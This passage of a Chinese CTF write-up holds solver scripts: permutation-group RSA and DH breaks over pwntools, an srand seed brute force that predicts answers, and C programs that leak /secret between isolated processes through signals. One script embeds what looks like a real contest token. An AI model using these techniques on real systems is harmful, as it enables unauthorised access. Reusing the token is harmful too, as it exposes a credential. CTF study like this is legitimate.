<span class="k">return</span> <span class="n">generateResult</span><span class="p">(</span><span class="n">branches</span><span class="p">,[</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">solve</span><span class="p">(</span><span class="n">bitlength</span><span class="p">,</span><span class="n">branches</span><span class="p">):</span>
<span class="n">result</span><span class="o">=</span><span class="nb">dict</span><span class="p">()</span>
<span class="k">for</span> <span class="n">branchChunk</span> <span class="ow">in</span> <span class="n">grouper</span><span class="p">(</span><span class="n">branches</span><span class="p">,</span><span class="mi">4</span><span class="p">):</span>
<span class="n">part</span><span class="o">=</span><span class="n">analyze</span><span class="p">(</span><span class="n">branchChunk</span><span class="p">)</span>
<span class="k">for</span> <span class="n">k</span><span class="p">,</span><span class="n">v</span> <span class="ow">in</span> <span class="n">part</span><span class="p">.</span><span class="n">items</span><span class="p">():</span>
<span class="k">if</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">result</span> <span class="ow">and</span> <span class="n">result</span><span class="p">[</span><span class="n">k</span><span class="p">]</span><span class="o">!=</span><span class="n">v</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"conflict result"</span><span class="p">)</span>
<span class="n">result</span><span class="p">[</span><span class="n">k</span><span class="p">]</span><span class="o">=</span><span class="n">v</span>
<span class="k">print</span><span class="p">(</span><span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">result</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="si">}</span><span class="s">"</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">bitlength</span><span class="p">)]))</span>
<span class="k">def</span> <span class="nf">dochal</span><span class="p">(</span><span class="n">bitlength</span><span class="p">,</span> <span class="n">obf</span><span class="p">):</span>
<span class="n">filename</span> <span class="o">=</span> <span class="sa">f</span><span class="s">'chals/b</span><span class="si">{</span><span class="n">bitlength</span><span class="si">}{</span><span class="s">"_obf"</span> <span class="k">if</span> <span class="n">obf</span> <span class="k">else</span> <span class="s">""</span><span class="si">}</span><span class="s">.json'</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">branches</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">load</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
<span class="n">solve</span><span class="p">(</span><span class="n">bitlength</span><span class="p">,</span><span class="n">branches</span><span class="p">)</span>
<span class="n">dochal</span><span class="p">(</span><span class="mi">64</span><span class="p">,</span> <span class="bp">True</span><span class="p">)</span>
</code></pre></div></div>
<p>这么一看,大概能理解这个题目的数据是怎么构造的了。只需要把每个输入拆成两个输入,把每个分支拆成四个分支就可以增加一层的复杂度,三小题分别拆了 2、4、6 层。不过真的看了官方题解的混淆方法之后还是大为震撼的。</p>
<h2 id="置换魔群---置换群上的-rsa">置换魔群 - 置换群上的 RSA</h2>
<p>什么置换魔群,不就是大一点的置换群嘛。由于置换群的每一个元素都可以拆成若干个环,所以我们只需要针对各个环分别击破就好。对于 <code class="language-plaintext highlighter-rouge">secret**e</code> 中的一个阶为 <code class="language-plaintext highlighter-rouge">l</code> 的环,我们只需要把这个环自乘 <code class="language-plaintext highlighter-rouge">pow(e,-1,l)</code> 次即可。注意 <code class="language-plaintext highlighter-rouge">e</code> 是素数而且显然大于 <code class="language-plaintext highlighter-rouge">l</code>,所以一定能算出来。最后把各个环再拼回去就能得到答案。以下为代码。</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pwn</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">from</span> <span class="nn">permutation_group</span> <span class="kn">import</span> <span class="n">permutation_element</span><span class="p">,</span> <span class="n">permutation_group</span>
<span class="n">conn</span> <span class="o">=</span> <span class="n">pwn</span><span class="p">.</span><span class="n">remote</span><span class="p">(</span><span class="s">'202.38.93.111'</span><span class="p">,</span><span class="mi">10114</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'<id>:<token></span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"> your choice: "</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'1</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">15</span><span class="p">):</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"n = "</span><span class="p">)</span>
<span class="n">n</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">","</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"e = "</span><span class="p">)</span>
<span class="n">e</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
<span class="k">print</span><span class="p">(</span><span class="n">n</span><span class="p">,</span><span class="n">e</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"here: </span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">permutation_element</span><span class="p">(</span><span class="n">n</span><span class="p">,</span><span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"]"</span><span class="p">)))</span>
<span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">standard_tuple</span><span class="p">)</span>
<span class="n">new_list</span><span class="o">=</span><span class="nb">list</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">n</span><span class="o">+</span><span class="mi">1</span><span class="p">))</span>
<span class="k">for</span> <span class="n">std_tuple</span> <span class="ow">in</span> <span class="n">p</span><span class="p">.</span><span class="n">standard_tuple</span><span class="p">:</span>
<span class="n">l</span><span class="o">=</span><span class="nb">len</span><span class="p">(</span><span class="n">std_tuple</span><span class="p">)</span>
<span class="n">step</span><span class="o">=</span><span class="nb">pow</span><span class="p">(</span><span class="n">e</span><span class="p">,</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="n">l</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">step</span><span class="p">,</span><span class="n">l</span><span class="p">,</span><span class="n">e</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">l</span><span class="p">):</span>
<span class="n">new_list</span><span class="p">[</span><span class="n">std_tuple</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">=</span><span class="n">std_tuple</span><span class="p">[(</span><span class="n">i</span><span class="o">+</span><span class="n">step</span><span class="p">)</span><span class="o">%</span><span class="n">l</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="n">new_list</span><span class="p">)</span>
<span class="n">new_p</span><span class="o">=</span><span class="n">permutation_element</span><span class="p">(</span><span class="n">n</span><span class="p">,</span><span class="n">new_list</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">new_p</span><span class="o">**</span><span class="n">e</span><span class="o">==</span><span class="n">p</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"> your answer: "</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">new_p</span><span class="p">),</span><span class="n">encoding</span><span class="o">=</span><span class="s">"utf-8"</span><span class="p">))</span>
<span class="n">conn</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h2 id="置换魔群---置换群上的-dh">置换魔群 - 置换群上的 DH</h2>
<p>由于置换群的每一个元素都可以拆成若干个环,所以我们只需要针对各个环分别击破就好(再度)。对于每一个 <code class="language-plaintext highlighter-rouge">g</code> 中的环,我们只需要检查公钥中这个环中的元素在私钥中的对应的下一个元素在原来的环中的位置,就可以知道 <code class="language-plaintext highlighter-rouge">secret</code> 对这个环的长度取模后的值了。最后利用中国剩余定理就可以得到答案。代码如下。</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pwn</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">from</span> <span class="nn">sympy.ntheory.modular</span> <span class="kn">import</span> <span class="n">crt</span>
<span class="kn">from</span> <span class="nn">permutation_group</span> <span class="kn">import</span> <span class="n">permutation_element</span><span class="p">,</span> <span class="n">permutation_group</span>
<span class="n">conn</span> <span class="o">=</span> <span class="n">pwn</span><span class="p">.</span><span class="n">remote</span><span class="p">(</span><span class="s">'202.38.93.111'</span><span class="p">,</span><span class="mi">10114</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'911:MEUCIAwRnzmZqFcPjbiKd9wmy3Ipxp7sZ6Qf8xxcKg7wrdOoAiEAlMbxiD12WWHv/Kc4mHHptGSXIc2Argrpa72lrVJA8Ho=</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"> your choice: "</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'2</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">15</span><span class="p">):</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"n = "</span><span class="p">)</span>
<span class="n">n</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">","</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"g = "</span><span class="p">)</span>
<span class="n">g</span> <span class="o">=</span> <span class="n">permutation_element</span><span class="p">(</span><span class="n">n</span><span class="p">,</span><span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"]"</span><span class="p">)))</span>
<span class="k">print</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"key = "</span><span class="p">)</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">permutation_element</span><span class="p">(</span><span class="n">n</span><span class="p">,</span><span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"]"</span><span class="p">)))</span>
<span class="k">print</span><span class="p">(</span><span class="n">g</span><span class="p">.</span><span class="n">standard_tuple</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">key</span><span class="p">.</span><span class="n">standard_tuple</span><span class="p">)</span>
<span class="n">mods</span><span class="o">=</span><span class="nb">list</span><span class="p">()</span>
<span class="n">vals</span><span class="o">=</span><span class="nb">list</span><span class="p">()</span>
<span class="k">for</span> <span class="n">std_tuple</span> <span class="ow">in</span> <span class="n">key</span><span class="p">.</span><span class="n">standard_tuple</span><span class="p">:</span>
<span class="n">first</span><span class="o">=</span><span class="n">std_tuple</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">second</span><span class="o">=</span><span class="n">std_tuple</span><span class="p">[</span><span class="mi">1</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">std_tuple</span><span class="p">)</span> <span class="o">></span> <span class="mi">1</span> <span class="k">else</span> <span class="mi">0</span><span class="p">]</span>
<span class="n">mapped_tuple</span><span class="o">=</span><span class="nb">next</span><span class="p">(</span><span class="n">x</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">g</span><span class="p">.</span><span class="n">standard_tuple</span> <span class="k">if</span> <span class="n">first</span> <span class="ow">in</span> <span class="n">x</span><span class="p">)</span>
<span class="n">first_idx</span><span class="o">=</span><span class="n">mapped_tuple</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="n">first</span><span class="p">)</span>
<span class="n">second_idx</span><span class="o">=</span><span class="n">mapped_tuple</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="n">second</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">std_tuple</span><span class="p">,</span><span class="n">mapped_tuple</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">first_idx</span><span class="p">,</span><span class="n">second_idx</span><span class="p">)</span>
<span class="n">l</span><span class="o">=</span><span class="nb">len</span><span class="p">(</span><span class="n">mapped_tuple</span><span class="p">)</span>
<span class="n">step</span><span class="o">=</span><span class="p">(</span><span class="n">second_idx</span><span class="o">-</span><span class="n">first_idx</span><span class="p">)</span><span class="o">%</span><span class="n">l</span>
<span class="k">print</span><span class="p">(</span><span class="n">l</span><span class="p">,</span><span class="n">step</span><span class="p">)</span>
<span class="n">mods</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
<span class="n">vals</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">step</span><span class="p">)</span>
<span class="n">result</span><span class="p">,</span><span class="n">modular</span><span class="o">=</span><span class="n">crt</span><span class="p">(</span><span class="n">mods</span><span class="p">,</span><span class="n">vals</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">result</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">g</span><span class="o">**</span><span class="n">result</span><span class="o">==</span><span class="n">key</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"> your answer: "</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">result</span><span class="p">),</span><span class="n">encoding</span><span class="o">=</span><span class="s">"utf-8"</span><span class="p">))</span>
<span class="n">conn</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h2 id="链上记忆大师----记忆练习">链上记忆大师 - 记忆练习</h2>
<p>基础 Solidity 合约编写问题,对着 Solidity 官方文档的示例抄一下就好了。</p>
<pre><code class="language-sol">pragma solidity =0.8.17;
contract MemoryMaster {
uint256 data;
function memorize(uint256 n) external {
data=n;
}
function recall() external view returns (uint256) {
return data;
}
}
</code></pre>
<h2 id="蒙特卡罗轮盘赌">蒙特卡罗轮盘赌</h2>
<p>鉴于随机数序列可以被 srand 的种子完全确定,而且这个种子很接近当前时间,那只需要先猜错两轮获取信息,再把当前时间附近的整数当作种子进行枚举,那就能爆破出种子,然后就能猜对后面三轮了。爆破代码如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
</span>
<span class="kt">double</span> <span class="nf">rand01</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">return</span> <span class="p">(</span><span class="kt">double</span><span class="p">)</span><span class="n">rand</span><span class="p">()</span> <span class="o">/</span> <span class="n">RAND_MAX</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">test</span><span class="p">()</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">M</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">N</span> <span class="o">=</span> <span class="mi">400000</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o"><</span> <span class="n">N</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">double</span> <span class="n">x</span> <span class="o">=</span> <span class="n">rand01</span><span class="p">();</span>
<span class="kt">double</span> <span class="n">y</span> <span class="o">=</span> <span class="n">rand01</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">x</span><span class="o">*</span><span class="n">x</span> <span class="o">+</span> <span class="n">y</span><span class="o">*</span><span class="n">y</span> <span class="o"><</span> <span class="mi">1</span><span class="p">)</span> <span class="n">M</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">M</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">t</span><span class="o">=</span><span class="n">time</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">t1</span><span class="o">=</span><span class="mi">314181</span><span class="p">;</span><span class="c1">//手动填入值</span>
<span class="kt">int</span> <span class="n">t2</span><span class="o">=</span><span class="mi">313837</span><span class="p">;</span><span class="c1">//手动填入值</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="n">t</span><span class="o">-</span><span class="mi">300</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="n">t</span><span class="o">+</span><span class="mi">3000</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="n">srand</span><span class="p">(</span><span class="n">i</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">test</span><span class="p">()</span><span class="o">==</span><span class="n">t1</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">test</span><span class="p">()</span><span class="o">==</span><span class="n">t2</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"猜对了!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"正确答案是:%1.5f</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="p">(</span><span class="kt">double</span><span class="p">)</span><span class="n">test</span><span class="p">()</span> <span class="o">/</span> <span class="mi">100000</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"正确答案是:%1.5f</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="p">(</span><span class="kt">double</span><span class="p">)</span><span class="n">test</span><span class="p">()</span> <span class="o">/</span> <span class="mi">100000</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"正确答案是:%1.5f</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="p">(</span><span class="kt">double</span><span class="p">)</span><span class="n">test</span><span class="p">()</span> <span class="o">/</span> <span class="mi">100000</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>为了保证环境一致,我使用了题目中给出的 Dockerfile 稍加修改后构建的镜像运行我的爆破代码,这样就能保证生成随机数的方式和题目中完全一样了。</p>
<h2 id="看不见的彼方">看不见的彼方</h2>
<p>既然是同一个用户,那就可以互相发 signal 了。只需利用信号进行进程间通信,就能传递信息。具体的,先由 B 进行一个 <code class="language-plaintext highlighter-rouge">kill(-1,SIGUSR2)</code> 给所有能发信号的进程发信号,然后 A 就可以通过 <code class="language-plaintext highlighter-rouge">siginfo_t</code> 拿到 B 的 pid。之后就可以直接 <code class="language-plaintext highlighter-rouge">sigqueue(bpid,SIGUSR1,val)</code> 给 B 发信号传递信息,B 可以在 <code class="language-plaintext highlighter-rouge">siginfo_t</code> 取出对应的信息并打印。不过要注意,还需要在两个进程间同步,否则可能会丢包。不过我这里就直接 <code class="language-plaintext highlighter-rouge">usleep</code> 了。(按照官方题解,其实可以改用实时信号来同步。)</p>
<p>A 的代码如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
</span>
<span class="k">volatile</span> <span class="kt">int</span> <span class="n">bpid</span><span class="o">=-</span><span class="mi">1</span><span class="p">;</span>
<span class="kt">void</span> <span class="nf">handler</span><span class="p">(</span><span class="kt">int</span> <span class="n">sig</span><span class="p">,</span> <span class="n">siginfo_t</span> <span class="o">*</span><span class="n">info</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">ucontext</span><span class="p">)</span> <span class="p">{</span>
<span class="n">bpid</span><span class="o">=</span><span class="n">info</span><span class="o">-></span><span class="n">si_pid</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">sigaction</span> <span class="n">sa</span><span class="p">;</span>
<span class="n">sa</span><span class="p">.</span><span class="n">sa_sigaction</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">handler</span><span class="p">;</span>
<span class="n">sigemptyset</span> <span class="p">(</span><span class="o">&</span><span class="n">sa</span><span class="p">.</span><span class="n">sa_mask</span><span class="p">);</span>
<span class="n">sa</span><span class="p">.</span><span class="n">sa_flags</span> <span class="o">=</span> <span class="n">SA_SIGINFO</span> <span class="o">|</span> <span class="n">SA_RESTART</span><span class="p">;</span>
<span class="n">sigaction</span><span class="p">(</span><span class="n">SIGUSR2</span><span class="p">,</span> <span class="o">&</span><span class="n">sa</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="k">while</span><span class="p">(</span><span class="n">bpid</span><span class="o"><</span><span class="mi">0</span><span class="p">){}</span>
<span class="k">union</span> <span class="n">sigval</span> <span class="n">val</span><span class="p">;</span>
<span class="mi">10</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">token</span><span class="p">[</span><span class="mi">64</span><span class="p">]</span><span class="o">=</span><span class="p">{};</span>
<span class="kt">int</span> <span class="n">file</span><span class="o">=</span><span class="n">open</span><span class="p">(</span><span class="s">"/secret"</span><span class="p">,</span><span class="n">O_RDONLY</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">size</span><span class="o">=</span><span class="n">read</span><span class="p">(</span><span class="n">file</span><span class="p">,</span><span class="n">token</span><span class="p">,</span><span class="mi">64</span><span class="p">);</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="mi">64</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="n">usleep</span><span class="p">(</span><span class="mi">100</span><span class="p">);</span>
<span class="n">val</span><span class="p">.</span><span class="n">sival_int</span><span class="o">=</span><span class="n">token</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">sigqueue</span><span class="p">(</span><span class="n">bpid</span><span class="p">,</span><span class="n">SIGUSR1</span><span class="p">,</span><span class="n">val</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>B 的代码如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
</span>
<span class="k">volatile</span> <span class="kt">int</span> <span class="n">count</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="kt">void</span> <span class="nf">handler</span><span class="p">(</span><span class="kt">int</span> <span class="n">sig</span><span class="p">,</span> <span class="n">siginfo_t</span> <span class="o">*</span><span class="n">info</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">secret</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"%c"</span><span class="p">,</span><span class="n">info</span><span class="o">-></span><span class="n">si_value</span><span class="p">);</span>
<span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
<span class="n">count</span><span class="o">+=</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">sigaction</span> <span class="n">sa</span><span class="p">;</span>
<span class="n">sa</span><span class="p">.</span><span class="n">sa_sigaction</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">handler</span><span class="p">;</span>
<span class="n">sigemptyset</span> <span class="p">(</span><span class="o">&</span><span class="n">sa</span><span class="p">.</span><span class="n">sa_mask</span><span class="p">);</span>
<span class="n">sa</span><span class="p">.</span><span class="n">sa_flags</span> <span class="o">=</span> <span class="n">SA_SIGINFO</span> <span class="o">|</span> <span class="n">SA_RESTART</span><span class="p">;</span>
<span class="n">sigaction</span><span class="p">(</span><span class="n">SIGUSR1</span><span class="p">,</span> <span class="o">&</span><span class="n">sa</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="n">usleep</span><span class="p">(</span><span class="mi">100</span><span class="p">);</span>
<span class="n">kill</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="n">SIGUSR2</span><span class="p">);</span>
<span class="k">while</span><span class="p">(</span><span class="n">count</span><span class="o"><</span><span class="mi">64</span><span class="p">){</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>为了保证环境一致,我使用了题目中给出的 Dockerfile 稍加修改后构建的镜像来编译我的代码。</p>
<h2 id="片上系统---引导扇区">片上系统 - 引导扇区</h2>
<p>用 PulseView 直接打开压缩包,然后使用它的 protocol decoder 功能解析 SD 卡的 SPI 协议。设置 D0 为片选、D1 为时钟、D2 为命令数据、D3 为回复数据即可。不过由于一些 bug,命令与回执并没有完整解析出来。不过,既然传输的字节都解析出来了,我们可以把 “SPI: MISO data” 一行导出之后手动解析这些字节。脚本如下:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">fs</span><span class="o">=</span><span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">fs-extra</span><span class="dl">"</span><span class="p">)</span>
<span class="kd">const</span> <span class="nx">file</span><span class="o">=</span><span class="nx">fs</span><span class="p">.</span><span class="nx">readFileSync</span><span class="p">(</span><span class="dl">"</span><span class="s2">dataout.txt</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">utf-8</span><span class="dl">"</span><span class="p">)</span>
<span class="kd">const</span> <span class="nx">data</span><span class="o">=</span><span class="nx">file</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="se">\n</span><span class="dl">"</span><span class="p">).</span><span class="nx">slice</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="kd">const</span> <span class="nx">values</span><span class="o">=</span><span class="p">[]</span>
<span class="nx">data</span><span class="p">.</span><span class="nx">forEach</span><span class="p">(</span><span class="nx">line</span><span class="o">=></span><span class="p">{</span>
<span class="kd">const</span> <span class="nx">match</span><span class="o">=</span><span class="sr">/</span><span class="se">[</span><span class="sr">0-9</span><span class="se">]</span><span class="sr">+-</span><span class="se">[</span><span class="sr">0-9</span><span class="se">]</span><span class="sr">+ SPI: MISO data: </span><span class="se">([</span><span class="sr">0-9A-Z</span><span class="se">]</span><span class="sr">+</span><span class="se">)</span><span class="sr">/</span><span class="p">.</span><span class="nx">exec</span><span class="p">(</span><span class="nx">line</span><span class="p">)</span>
<span class="k">if</span><span class="p">(</span><span class="nx">match</span><span class="o">===</span><span class="kc">null</span><span class="p">){</span>
<span class="k">return</span>
<span class="p">}</span>
<span class="nx">values</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">match</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="mi">16</span><span class="p">))</span>
<span class="p">})</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">values</span><span class="p">)</span>
<span class="kd">let</span> <span class="nx">r3</span><span class="o">=</span><span class="kc">null</span>
